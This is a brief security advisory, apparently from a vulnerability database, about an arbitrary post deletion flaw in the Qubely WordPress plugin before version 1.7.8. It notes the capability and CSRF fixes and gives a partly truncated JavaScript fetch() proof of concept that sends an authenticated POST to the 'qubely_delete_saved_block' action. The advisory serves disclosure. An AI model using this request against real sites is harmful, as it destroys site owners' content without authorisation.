Qubely < 1.7.8 - Subscriber+ Arbitrary Post Deletion

Note: v1.7.7 added capability check, CSRF check were added in 1.7.8

Proof of Concept

  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "body": "action=qubely_delete_saved_block&block_id=1",
  "method": "POST",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));
